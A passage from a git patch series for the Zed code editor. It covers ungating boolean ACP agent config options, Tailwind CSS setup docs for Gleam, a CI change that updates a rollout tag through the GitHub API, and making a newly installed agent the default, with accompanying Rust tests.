+                        .expect("failed to set user settings");
+                },
+            );
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/my-repo",
+            json!({
+                ".git": {},
+                "file.txt": "line 1\nline 2\nline 3\n"
+            }),
+        )
+        .await;
+
+        fs.set_blame_for_repo(
+            Path::new("/my-repo/.git"),
+            vec![(
+                repo_path("file.txt"),
+                Blame {
+                    entries: vec![
+                        blame_entry("1b1b1b", 0..1),
+                        blame_entry("2c2c2c", 1..2),
+                        blame_entry("3d3d3d", 2..3),
+                    ],
+                    ..Default::default()
+                },
+            )],
+        );
+
+        let project = project::Project::test(fs, ["/my-repo".as_ref()], cx).await;
+        let buffer = project
+            .update(cx, |project, cx| {
+                project.open_local_buffer("/my-repo/file.txt", cx)
+            })
+            .await
+            .unwrap();
+        let multi_buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+
+        let (editor, cx) = cx.add_window_view(|window, cx| {
+            crate::test::build_editor_with_project(project, multi_buffer, window, cx)
+        });
+
+        // Verify blame is not loaded yet
+        editor.update(cx, |editor, _cx| {
+            assert!(
+                editor.blame().is_none(),
+                "blame should not be loaded initially"
+            );
+        });
+
+        // Focus the editor so that blame generation proceeds
+        editor.update_in(cx, |editor, window, cx| {
+            editor.focus_handle.focus(window, cx);
+        });
+
+        // Trigger BlameHover — this should start blame loading and defer showing the popover
+        editor.update_in(cx, |editor, window, cx| {
+            assert!(editor.blame().is_none());
+            editor.blame_hover(&crate::BlameHover, window, cx);
+            assert!(
+                editor.blame().is_some(),
+                "blame entity should be created after blame_hover"
+            );
+            assert!(
+                editor.pending_blame_hover_observation.is_some(),
+                "should have registered an observation to wait for blame data"
+            );
+        });
+
+        // Let the async blame generation complete
+        cx.run_until_parked();
+
+        // The observation should have fired and cleaned itself up
+        editor.update(cx, |editor, cx| {
+            assert!(
+                editor.pending_blame_hover_observation.is_none(),
+                "observation should be consumed after blame data is generated"
+            );
+            assert!(
+                editor.blame().unwrap().read(cx).has_generated_entries(),
+                "blame should have generated entries"
+            );
+        });
+    }
 }

From 159246f0083787124160620118ac35df5f0f3754 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 6 Jul 2026 11:14:38 +0200
Subject: [PATCH 272/772] acp: Support boolean ACP config options (#60446)

Removing the feature flag now that the API is stable.

Release Notes:

- acp: Support boolean toggles for ACP session configuration in agents
that use them.

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/agent_servers/src/acp.rs       | 115 ++++----------------------
 crates/agent_ui/src/config_options.rs | 109 +++---------------------
 2 files changed, 24 insertions(+), 200 deletions(-)

diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index 9acc88da7556cf..884b0efd7794fd 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -772,21 +772,20 @@ fn client_capabilities_for_agent(
             .write_text_file(true))
         .terminal(true)
         .auth(acp::AuthCapabilities::new().terminal(true))
+        .session(
+            acp::ClientSessionCapabilities::new().config_options(
+                acp::SessionConfigOptionsCapabilities::new()
+                    .boolean(acp::BooleanConfigOptionCapabilities::new()),
+            ),
+        )
         .meta(meta);
 
     if supports_beta_features {
-        capabilities = capabilities
-            .elicitation(
-                acp::ElicitationCapabilities::new()
-                    .form(acp::ElicitationFormCapabilities::new())
-                    .url(acp::ElicitationUrlCapabilities::new()),
-            )
-            .session(
-                acp::ClientSessionCapabilities::new().config_options(
-                    acp::SessionConfigOptionsCapabilities::new()
-                        .boolean(acp::BooleanConfigOptionCapabilities::new()),
-                ),
-            );
+        capabilities = capabilities.elicitation(
+            acp::ElicitationCapabilities::new()
+                .form(acp::ElicitationFormCapabilities::new())
+                .url(acp::ElicitationUrlCapabilities::new()),
+        );
     }
 
     capabilities
@@ -1300,7 +1299,6 @@ impl AcpConnection {
         cx: &mut AsyncApp,
     ) {
         let id = self.id.clone();
-        let apply_boolean_defaults = cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>());
         let defaults_to_apply: Vec<_> = {
             let config_opts_ref = config_options.borrow();
             config_opts_ref
@@ -1333,9 +1331,6 @@ impl AcpConnection {
                                 _ => None,
                             }
                         }
-                        acp::SessionConfigKind::Boolean(_) if !apply_boolean_defaults => {
-                            return None;
-                        }
                         acp::SessionConfigKind::Boolean(_) => default_value
                             .as_bool()
                             .map(acp::SessionConfigOptionValue::boolean),
@@ -3045,8 +3040,8 @@ mod tests {
     }
 
     #[test]
-    fn client_capabilities_include_boolean_config_options_when_supported() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), true);
+    fn client_capabilities_include_boolean_config_options() {
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), false);
 
         assert!(
             capabilities
@@ -3057,13 +3052,6 @@ mod tests {
         );
     }
 
-    #[test]
-    fn client_capabilities_omit_boolean_config_options_when_unsupported() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), false);
-
-        assert!(capabilities.session.is_none());
-    }
-
     #[test]
     fn terminal_auth_task_builds_spawn_from_prebuilt_command() {
         let command = AgentServerCommand {
@@ -3549,69 +3537,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn default_config_options_skip_boolean_defaults_when_acp_beta_is_disabled(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        cx.update(|cx| init_settings_with_acp_beta_override(false, cx));
-
-        let (connection, set_config_requests) = connect_config_defaults_test_agent(cx).await;
-        connection.defaults.set(
-            None,
-            HashMap::from_iter([
-                (
-                    "web_search".to_string(),
-                    AgentConfigOptionValue::Boolean(true),
-                ),
-                ("mode".to_string(), AgentConfigOptionValue::from("manual")),
-            ]),
-        );
-        let config_options = Rc::new(RefCell::new(vec![
-            acp::SessionConfigOption::boolean("web_search", "Web Search", false),
-            acp::SessionConfigOption::select(
-                "mode",
-                "Mode",
-                "auto",
-                vec![
-                    acp::SessionConfigSelectOption::new("auto", "Auto"),
-                    acp::SessionConfigSelectOption::new("manual", "Manual"),
-                ],
-            ),
-        ]));
-
-        let mut async_cx = cx.to_async();
-        connection.apply_default_config_options(
-            &acp::SessionId::new("session-config-defaults"),
-            &config_options,
-            &mut async_cx,
-        );
-        drop(async_cx);
-        cx.run_until_parked();
-
-        let requests = set_config_requests
-            .lock()
-            .expect("set config requests mutex poisoned");
-        assert_eq!(requests.len(), 1);
-        assert_eq!(requests[0].config_id, acp::SessionConfigId::new("mode"));
-        assert_eq!(
-            requests[0].value,
-            acp::SessionConfigOptionValue::value_id("manual")
-        );
-
-        let options = config_options.borrow();
-        assert!(
-            matches!(&options[0].kind, acp::SessionConfigKind::Boolean(boolean) if !boolean.current_value)
-        );
-        assert!(
-            matches!(&options[1].kind, acp::SessionConfigKind::Select(select) if select.current_value == acp::SessionConfigValueId::new("manual"))
-        );
-    }
-
-    #[gpui::test]
-    async fn default_config_options_apply_boolean_defaults_when_acp_beta_is_enabled(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        cx.update(|cx| init_settings_with_acp_beta_override(true, cx));
-
+    async fn default_config_options_apply_boolean_defaults(cx: &mut gpui::TestAppContext) {
         let (connection, set_config_requests) = connect_config_defaults_test_agent(cx).await;
         connection.defaults.set(
             None,
@@ -3654,19 +3580,6 @@ mod tests {
         );
     }
 
-    fn init_settings_with_acp_beta_override(enabled: bool, cx: &mut App) {
-        let mut store = settings::SettingsStore::test(cx);
-        store.register_setting::<feature_flags::FeatureFlagsSettings>();
-        store.update_user_settings(cx, |content| {
-            content.feature_flags.get_or_insert_default().insert(
-                AcpBetaFeatureFlag::NAME.to_string(),
-                if enabled { "on" } else { "off" }.to_string(),
-            );
-        });
-        cx.set_global(store);
-        cx.update_flags(false, Vec::new());
-    }
-
     async fn connect_config_defaults_test_agent(
         cx: &mut gpui::TestAppContext,
     ) -> (
diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index 4dcd72cbdf9b96..df4eecaccd5bd5 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -5,7 +5,6 @@ use agent_client_protocol::schema::v1 as acp;
 use agent_servers::AgentServer;
 
 use collections::HashSet;
-use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use fs::Fs;
 use fuzzy::StringMatchCandidate;
 use gpui::{
@@ -99,9 +98,8 @@ impl ConfigOptionsView {
         favorites_only: bool,
         cx: &mut Context<Self>,
     ) -> bool {
-        let render_boolean_config_options = should_render_boolean_config_options(cx);
         let Some(config_id) = self.first_config_option_id_matching(category, |option| {
-            Self::can_cycle_config_option(option, favorites_only, render_boolean_config_options)
+            Self::can_cycle_config_option(option, favorites_only)
         }) else {
             return false;
         };
@@ -144,14 +142,10 @@ impl ConfigOptionsView {
             .map(|option| option.id)
     }
 
-    fn can_cycle_config_option(
-        option: &acp::SessionConfigOption,
-        favorites_only: bool,
-        render_boolean_config_options: bool,
-    ) -> bool {
+    fn can_cycle_config_option(option: &acp::SessionConfigOption, favorites_only: bool) -> bool {
         match &option.kind {
             acp::SessionConfigKind::Select(_) => true,
-            acp::SessionConfigKind::Boolean(_) => !favorites_only && render_boolean_config_options,
+            acp::SessionConfigKind::Boolean(_) => !favorites_only,
             _ => false,
         }
     }
@@ -213,7 +207,7 @@ impl ConfigOptionsView {
                 ))
             }
             acp::SessionConfigKind::Boolean(boolean) => {
-                if favorites_only || !should_render_boolean_config_options(cx) {
+                if favorites_only {
                     None
                 } else {
                     Some(acp::SessionConfigOptionValue::boolean(
@@ -545,10 +539,6 @@ impl Render for ConfigOptionSelector {
                 .into_any_element()
             }
             acp::SessionConfigKind::Boolean(boolean) => {
-                if !should_render_boolean_config_options(cx) {
-                    return div().into_any_element();
-                }
-
                 let option_id = option.id.clone();
                 let option_name: SharedString = option.name.clone().into();
                 let option_description: Option<SharedString> =
@@ -991,10 +981,6 @@ fn setting_value_for_config_option_value(
     }
 }
 
-fn should_render_boolean_config_options(cx: &App) -> bool {
-    cx.has_flag::<AcpBetaFeatureFlag>()
-}
-
 fn options_to_picker_entries(
     options: &[ConfigOptionValue],
     favorites: &HashSet<acp::SessionConfigValueId>,
@@ -1110,9 +1096,8 @@ fn count_config_options(option: &acp::SessionConfigOption) -> usize {
 mod tests {
     use super::*;
     use acp_thread::AgentConnection;
-    use feature_flags::FeatureFlag as _;
     use fs::FakeFs;
-    use gpui::{TestAppContext, UpdateGlobal};
+    use gpui::TestAppContext;
     use parking_lot::Mutex;
     use project::{AgentId, Project};
     use std::{any::Any, cell::RefCell};
@@ -1178,9 +1163,6 @@ mod tests {
         let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
 
         cx.update(|cx| {
-            init_feature_flag_settings(cx);
-            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "on", cx);
-
             let config_options: Rc<dyn AgentSessionConfigOptions> = config_options.clone();
             let agent_server: Rc<dyn AgentServer> = agent_server.clone();
             let fs = fs.clone();
@@ -1215,41 +1197,7 @@ mod tests {
     }
 
     #[gpui::test]
-    fn cycling_hidden_boolean_config_option_is_unhandled(cx: &mut TestAppContext) {
-        let agent_server = Rc::new(TestAgentServer::default());
-        let config_options = Rc::new(TestSessionConfigOptions::new(vec![
-            acp::SessionConfigOption::boolean("web_search", "Web Search", false)
-                .category(acp::SessionConfigOptionCategory::ModelConfig),
-        ]));
-        let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
-
-        cx.update(|cx| {
-            init_feature_flag_settings(cx);
-            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "off", cx);
-
-            let config_options: Rc<dyn AgentSessionConfigOptions> = config_options.clone();
-            let agent_server: Rc<dyn AgentServer> = agent_server.clone();
-            let fs = fs.clone();
-            let view = cx.new(|_| ConfigOptionsView {
-                config_option_ids: ConfigOptionsView::config_option_ids(&config_options),
-                config_options,
-                selectors: Vec::new(),
-                agent_server,
-                fs,
-                _refresh_task: Task::ready(()),
-            });
-
-            assert!(!view.update(cx, |view, cx| {
-                view.cycle_category_option(acp::SessionConfigOptionCategory::ModelConfig, false, cx)
-            }));
-        });
-
-        assert!(agent_server.saved_defaults.lock().is_empty());
-        assert!(config_options.set_values.borrow().is_empty());
-    }
-
-    #[gpui::test]
-    fn cycling_category_skips_hidden_boolean_config_option(cx: &mut TestAppContext) {
+    fn cycling_category_cycles_boolean_config_option_first(cx: &mut TestAppContext) {
         let agent_server = Rc::new(TestAgentServer::default());
         let config_options = Rc::new(TestSessionConfigOptions::new(vec![
             acp::SessionConfigOption::boolean("web_search", "Web Search", false)
@@ -1268,9 +1216,6 @@ mod tests {
         let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
 
         cx.update(|cx| {
-            init_feature_flag_settings(cx);
-            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "off", cx);
-
             let config_options: Rc<dyn AgentSessionConfigOptions> = config_options.clone();
             let agent_server: Rc<dyn AgentServer> = agent_server.clone();
             let fs = fs.clone();
@@ -1291,15 +1236,15 @@ mod tests {
         assert_eq!(
             agent_server.saved_defaults.lock().as_slice(),
             &[(
-                "model".to_string(),
-                Some(AgentConfigOptionValue::ValueId("large".to_string()))
+                "web_search".to_string(),
+                Some(AgentConfigOptionValue::Boolean(true))
             )]
         );
         assert_eq!(
             config_options.set_values.borrow().as_slice(),
             &[(
-                "model".to_string(),
-                acp::SessionConfigOptionValue::value_id("large")
+                "web_search".to_string(),
+                acp::SessionConfigOptionValue::boolean(true)
             )]
         );
     }
@@ -1330,45 +1275,11 @@ mod tests {
         assert!(!handled);
     }
 
-    #[gpui::test]
-    fn boolean_config_option_rendering_is_beta_gated(cx: &mut TestAppContext) {
-        cx.update(|cx| {
-            init_feature_flag_settings(cx);
-
-            cx.update_flags(false, Vec::new());
-            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "off", cx);
-            assert!(!should_render_boolean_config_options(cx));
-
-            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "on", cx);
-            assert!(should_render_boolean_config_options(cx));
-        });
-    }
-
     #[derive(Default)]
     struct TestAgentServer {
         saved_defaults: Arc<Mutex<Vec<(String, Option<AgentConfigOptionValue>)>>>,
     }
 
-    fn init_feature_flag_settings(cx: &mut App) {
-        let store = SettingsStore::test(cx);
-        cx.set_global(store);
-        SettingsStore::update_global(cx, |store, _| {
-            store.register_setting::<feature_flags::FeatureFlagsSettings>();
-        });
-        cx.update_flags(false, Vec::new());
-    }
-
-    fn set_feature_flag_override(name: &str, value: &str, cx: &mut App) {
-        SettingsStore::update_global(cx, |store, cx| {
-            store.update_user_settings(cx, |content| {
-                content
-                    .feature_flags
-                    .get_or_insert_default()
-                    .insert(name.to_string(), value.to_string());
-            });
-        });
-    }
-
     impl AgentServer for TestAgentServer {
         fn logo(&self) -> IconName {
             IconName::ZedAssistant

From c545fb67d0ce13e335bff76f7c08986000333f2c Mon Sep 17 00:00:00 2001
From: Kaedin <kaedinhanohano@gmail.com>
Date: Mon, 6 Jul 2026 03:30:01 -0700
Subject: [PATCH 273/772] docs: Add Tailwind CSS LSP configuration for Gleam
 (#58115)

Documents how to configure the Tailwind CSS language server for Gleam,
and updates the link on the Tailwind landing page to anchor at the new
section so it matches the pattern used for Astro, ERB, HEEx, HTML,
TypeScript, JavaScript, PHP, Svelte, and Vue.

The config follows what was documented in #43968 when Gleam was added to
`tailwind.rs`.

Refs: #43969

Release Notes:

- N/A

---------

Co-authored-by: Kaedin Hano-Hollis <180361443+kaedinhanohano@users.noreply.github.com>
Co-authored-by: Kunall Banerjee <hey@kimchiii.space>
---
 docs/src/languages/gleam.md       | 25 +++++++++++++++++++++++++
 docs/src/languages/tailwindcss.md |  2 +-
 2 files changed, 26 insertions(+), 1 deletion(-)

diff --git a/docs/src/languages/gleam.md b/docs/src/languages/gleam.md
index dba403d4edec58..af19b77886ac26 100644
--- a/docs/src/languages/gleam.md
+++ b/docs/src/languages/gleam.md
@@ -10,6 +10,31 @@ Gleam support is available through the [Gleam extension](https://github.com/glea
 - Tree-sitter: [gleam-lang/tree-sitter-gleam](https://github.com/gleam-lang/tree-sitter-gleam)
 - Language Server: [gleam lsp](https://github.com/gleam-lang/gleam/tree/main/compiler-core/src/language_server)
 
+## Using the Tailwind CSS Language Server with Gleam
+
+To get all the features (autocomplete, linting, etc.) from the [Tailwind CSS language server](https://github.com/tailwindlabs/tailwindcss-intellisense/tree/HEAD/packages/tailwindcss-language-server#readme) in Gleam files, you need to enable the language server for Gleam and configure where it should look for CSS classes by adding the following to your `settings.json`:
+
+```json [settings]
+{
+  "languages": {
+    "Gleam": {
+      "language_servers": ["tailwindcss-language-server", "..."]
+    }
+  },
+  "lsp": {
+    "tailwindcss-language-server": {
+      "settings": {
+        "experimental": {
+          "classRegex": ["\"([^\"]*)\""]
+        }
+      }
+    }
+  }
+}
+```
+
+This works with plain string literals and with [Lustre](https://github.com/lustre-labs/lustre) view templates where class names are passed as string arguments.
+
 See also:
 
 - [Elixir](./elixir.md)
diff --git a/docs/src/languages/tailwindcss.md b/docs/src/languages/tailwindcss.md
index e461aa2d7fa53d..4644549ea0b483 100644
--- a/docs/src/languages/tailwindcss.md
+++ b/docs/src/languages/tailwindcss.md
@@ -14,7 +14,7 @@ Languages which can be used with Tailwind CSS in Zed:
 - [Astro](./astro.md#using-the-tailwind-css-language-server-with-astro)
 - [CSS](./css.md)
 - [ERB](./ruby.md#using-the-tailwind-css-language-server-with-ruby)
-- [Gleam](./gleam.md)
+- [Gleam](./gleam.md#using-the-tailwind-css-language-server-with-gleam)
 - [HEEx](./elixir.md#using-the-tailwind-css-language-server-with-heex-templates)
 - [HTML](./html.md#using-the-tailwind-css-language-server-with-html)
 - [TypeScript](./typescript.md#using-the-tailwind-css-language-server-with-typescript)

From 0d789ded0ebdeaab69da212f7e0bf1c49d41131d Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 6 Jul 2026 13:21:14 +0200
Subject: [PATCH 274/772] extension_rollout: Allow rollout for
 `extension-workflows` tag (#60354)

Also cleans up the tag update step to instead use the GitHub API for
this.

Release Notes:

- N/A
---
 .../workflows/extension_workflow_rollout.yml  | 29 +++++++++----------
 .../workflows/extension_workflow_rollout.rs   | 28 +++++++-----------
 2 files changed, 23 insertions(+), 34 deletions(-)

diff --git a/.github/workflows/extension_workflow_rollout.yml b/.github/workflows/extension_workflow_rollout.yml
index c1e61822df6b23..62a9c75d518ecd 100644
--- a/.github/workflows/extension_workflow_rollout.yml
+++ b/.github/workflows/extension_workflow_rollout.yml
@@ -16,7 +16,7 @@ on:
         default: ''
 jobs:
   fetch_extension_repos:
-    if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions') && github.ref == 'refs/heads/main'
+    if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions') && (github.ref == 'refs/tags/extension-workflows' || github.ref == 'refs/heads/main')
     runs-on: namespace-profile-2x4-ubuntu-2404
     steps:
     - name: checkout_zed_repo
@@ -220,21 +220,18 @@ jobs:
         clean: false
         fetch-depth: 0
         token: ${{ steps.generate-token.outputs.token }}
-    - name: extension_workflow_rollout::create_rollout_tag::update_rollout_tag
-      run: |
-        if git rev-parse "extension-workflows" >/dev/null 2>&1; then
-            git tag -d "extension-workflows"
-            git push origin ":refs/tags/extension-workflows" || true
-        fi
-
-        echo "Creating new tag 'extension-workflows' at $(git rev-parse --short HEAD)"
-        git tag "extension-workflows"
-        git push origin "extension-workflows"
-      env:
-        GIT_AUTHOR_NAME: zed-zippy[bot]
-        GIT_AUTHOR_EMAIL: 234243425+zed-zippy[bot]@users.noreply.github.com
-        GIT_COMMITTER_NAME: zed-zippy[bot]
-        GIT_COMMITTER_EMAIL: 234243425+zed-zippy[bot]@users.noreply.github.com
+    - name: steps::update_tag
+      uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b
+      with:
+        script: |
+          github.rest.git.updateRef({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              ref: 'tags/extension-workflows',
+              sha: context.sha,
+              force: true
+          })
+        github-token: ${{ steps.generate-token.outputs.token }}
     timeout-minutes: 1
 defaults:
   run:
diff --git a/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs b/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
index e97b6edff477af..9eb9d456a62eb1 100644
--- a/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
@@ -5,6 +5,8 @@ use indoc::formatdoc;
 use indoc::indoc;
 use serde_json::json;
 
+use crate::tasks::workflows::steps::GitRef;
+use crate::tasks::workflows::steps::RefSha;
 use crate::tasks::workflows::steps::{
     CheckoutStep, DownloadArtifactStep, IfNoFilesFound, ResultEncoding, TokenPermissions,
     UploadArtifactStep, cache_rust_dependencies_namespace,
@@ -13,8 +15,7 @@ use crate::tasks::workflows::vars::JobOutput;
 use crate::tasks::workflows::{
     runners,
     steps::{
-        self, DEFAULT_REPOSITORY_OWNER_GUARD, NamedJob, RepositoryTarget, ZippyGitIdentity,
-        generate_token, named,
+        self, DEFAULT_REPOSITORY_OWNER_GUARD, NamedJob, RepositoryTarget, generate_token, named,
     },
     vars::{self, StepOutput, WorkflowInput},
 };
@@ -155,8 +156,7 @@ fn fetch_extension_repos(filter_repos_input: &WorkflowInput) -> (NamedJob, JobOu
 
     let job = Job::default()
         .cond(Expression::new(format!(
-            "{DEFAULT_REPOSITORY_OWNER_GUARD} && github.ref == 'refs/heads/main'"
-        )))
+            "{DEFAULT_REPOSITORY_OWNER_GUARD} && (github.ref == 'refs/tags/{ROLLOUT_TAG_NAME}' || github.ref == 'refs/heads/main')")))
         .runs_on(runners::LINUX_SMALL)
         .timeout_minutes(10u32)
         .outputs([
@@ -336,19 +336,6 @@ fn create_rollout_tag(rollout_job: &NamedJob, filter_repos_input: &WorkflowInput
         steps::checkout_repo().with_full_history().with_token(token)
     }
 
-    fn update_rollout_tag() -> Step<Run> {
-        named::bash(formatdoc! {r#"
-            if git rev-parse "{ROLLOUT_TAG_NAME}" >/dev/null 2>&1; then
-                git tag -d "{ROLLOUT_TAG_NAME}"
-                git push origin ":refs/tags/{ROLLOUT_TAG_NAME}" || true
-            fi
-
-            echo "Creating new tag '{ROLLOUT_TAG_NAME}' at $(git rev-parse --short HEAD)"
-            git tag "{ROLLOUT_TAG_NAME}"
-            git push origin "{ROLLOUT_TAG_NAME}"
-        "#})
-    }
-
     let (authenticate, token) =
         generate_token(vars::ZED_ZIPPY_APP_ID, vars::ZED_ZIPPY_APP_PRIVATE_KEY)
             .for_repository(RepositoryTarget::current())
@@ -365,7 +352,12 @@ fn create_rollout_tag(rollout_job: &NamedJob, filter_repos_input: &WorkflowInput
         .timeout_minutes(1u32)
         .add_step(authenticate)
         .add_step(checkout_zed_repo(&token))
-        .add_step(update_rollout_tag().with_zippy_git_identity());
+        .add_step(steps::update_ref(
+            GitRef::Tag(ROLLOUT_TAG_NAME.to_owned()),
+            RefSha::Context,
+            &token,
+            true,
+        ));
 
     named::job(job)
 }

From 54bf918329ba3bf4ccebee8ea98e0acc0291e201 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Mon, 6 Jul 2026 13:37:43 +0200
Subject: [PATCH 275/772] acp: Set agent as default when installing it from
 registry (#60452)

This PR makes it so that when you install an agent from the registry we
set it as the default agent. We apply the same behaviour when installing
an ACP agent from the onboarding page, which should make it less
confusing for new users (they won't see the Zed agent when they see a
new thread, but instead see the agent they installed)



https://github.com/user-attachments/assets/81f4711f-4c9a-4606-882a-9f944c90dfa3



Release Notes:

- agent: Improved onboarding experience when installing ACP agents
---
 crates/agent_ui/src/agent_panel.rs       | 128 ++++++++++++++++++-----
 crates/agent_ui/src/agent_registry_ui.rs |  32 +++---
 crates/onboarding/src/basics_page.rs     |  32 +++---
 crates/zed_actions/src/lib.rs            |  11 ++
 4 files changed, 153 insertions(+), 50 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 40c15c7179410c..5575046e25dc39 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -26,7 +26,7 @@ use zed_actions::{
     agent::{
         AddSelectionToThread, ConflictContent, LogoutAgent, OpenSettings, ReauthenticateAgent,
         ResetAgentZoom, ResetOnboarding, ResolveConflictedFilesWithAgent,
-        ResolveConflictsWithAgent, ReviewBranchDiff,
+        ResolveConflictsWithAgent, ReviewBranchDiff, SelectAgent,
     },
     assistant::{
         FocusAgent, ManageSkills, OpenGlobalAgentsMdRules, OpenProjectAgentsMdRules, Toggle,
@@ -423,6 +423,14 @@ pub fn init(cx: &mut App) {
                         });
                     }
                 })
+                .register_action(|workspace, action: &SelectAgent, window, cx| {
+                    if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
+                        panel.update(cx, |panel, cx| {
+                            let agent = AgentId::new(action.agent.clone()).into();
+                            panel.select_agent(agent, window, cx);
+                        });
+                    }
+                })
                 .register_action(|workspace, action: &ManageSkills, window, cx| {
                     if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
                         workspace.focus_panel::<AgentPanel>(window, cx);
@@ -1913,6 +1921,43 @@ impl AgentPanel {
         self.activate_new_thread(true, AgentThreadSource::AgentPanel, window, cx);
     }
 
+    fn set_selected_agent_and_persist(&mut self, agent: Agent, cx: &mut Context<Self>) {
+        if self.selected_agent != agent {
+            self.selected_agent = agent.clone();
+            self.serialize(cx);
+        }
+
+        cx.background_spawn({
+            let kvp = KeyValueStore::global(cx);
+            async move {
+                write_global_last_used_agent(kvp, agent).await;
+            }
+        })
+        .detach();
+    }
+
+    /// Sets the panel's selected agent without opening the panel or focusing
+    /// it, so the agent is launched the next time the panel is opened (or
+    /// right away, if the panel is already showing the empty new-thread
+    /// draft).
+    pub fn select_agent(&mut self, agent: Agent, window: &mut Window, cx: &mut Context<Self>) {
+        if self.project.read(cx).is_via_collab() && !agent.is_native() {
+            return;
+        }
+
+        let showing_new_draft = matches!(
+            (&self.base_view, &self.draft_thread),
+            (BaseView::AgentThread { conversation_view }, Some(draft))
+                if conversation_view.entity_id() == draft.entity_id()
+        );
+
+        if matches!(self.base_view, BaseView::AgentThread { .. }) && showing_new_draft {
+            self.set_selected_agent_and_persist(agent, cx);
+            self.activate_draft(false, AgentThreadSource::AgentPanel, window, cx);
+            cx.notify();
+        }
+    }
+
     pub fn new_terminal(
         &mut self,
         workspace: Option<&Workspace>,
@@ -3180,18 +3225,7 @@ impl AgentPanel {
             cx,
         );
         if let Some(original) = saved_selected_agent {
-            if self.selected_agent != original {
-                self.selected_agent = original.clone();
-                self.serialize(cx);
-                // Restore the last-used-agent in persistent storage as well.
-                cx.background_spawn({
-                    let kvp = KeyValueStore::global(cx);
-                    async move {
-                        write_global_last_used_agent(kvp, original).await;
-                    }
-                })
-                .detach();
-            }
+            self.set_selected_agent_and_persist(original, cx);
         }
         let thread_id = thread.conversation_view.read(cx).thread_id;
         self.retained_threads
@@ -4501,19 +4535,7 @@ impl AgentPanel {
         let workspace = self.workspace.clone();
         let project = self.project.clone();
 
-        if self.selected_agent != agent {
-            self.selected_agent = agent.clone();
-            self.serialize(cx);
-        }
-
-        cx.background_spawn({
-            let kvp = KeyValueStore::global(cx);
-            let agent = agent.clone();
-            async move {
-                write_global_last_used_agent(kvp, agent).await;
-            }
-        })
-        .detach();
+        self.set_selected_agent_and_persist(agent.clone(), cx);
 
         let server = server_override
             .unwrap_or_else(|| agent.server(self.fs.clone(), self.thread_store.clone()));
@@ -11318,6 +11340,60 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_select_agent_action_updates_visible_draft(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.executor());
+        cx.update(|cx| {
+            agent::ThreadStore::init_global(cx);
+            language_model::LanguageModelRegistry::test(cx);
+            <dyn fs::Fs>::set_global(fs.clone(), cx);
+        });
+
+        fs.insert_tree("/project", json!({ "file.txt": "" })).await;
+        let project = Project::test(fs.clone(), [Path::new("/project")], cx).await;
+        let multi_workspace =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace
+            .read_with(cx, |multi_workspace, _cx| {
+                multi_workspace.workspace().clone()
+            })
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(multi_workspace.into(), cx);
+
+        let panel = workspace.update_in(cx, |workspace, window, cx| {
+            let panel = cx.new(|cx| AgentPanel::new(workspace, window, cx));
+            workspace.add_panel(panel.clone(), window, cx);
+            panel
+        });
+
+        panel.update_in(cx, |panel, window, cx| {
+            panel.activate_draft(false, AgentThreadSource::AgentPanel, window, cx);
+        });
+
+        cx.dispatch_action(SelectAgent {
+            agent: "my-configured-agent".to_string(),
+        });
+        cx.run_until_parked();
+
+        let expected_agent = Agent::Custom {
+            id: "my-configured-agent".into(),
+        };
+
+        panel.read_with(cx, |panel, cx| {
+            let draft = panel.draft_thread.as_ref().expect("draft should exist");
+            assert_eq!(panel.selected_agent, expected_agent);
+            assert_eq!(*draft.read(cx).agent_key(), expected_agent);
+        });
+
+        let kvp = cx.update(|_, cx| KeyValueStore::global(cx));
+        assert_eq!(
+            read_global_last_used_agent(&kvp),
+            Some(expected_agent),
+            "the selection should be persisted as the global last-used agent"
+        );
+    }
+
     #[gpui::test]
     async fn test_workspaces_maintain_independent_agent_selection(cx: &mut TestAppContext) {
         init_test(cx);
diff --git a/crates/agent_ui/src/agent_registry_ui.rs b/crates/agent_ui/src/agent_registry_ui.rs
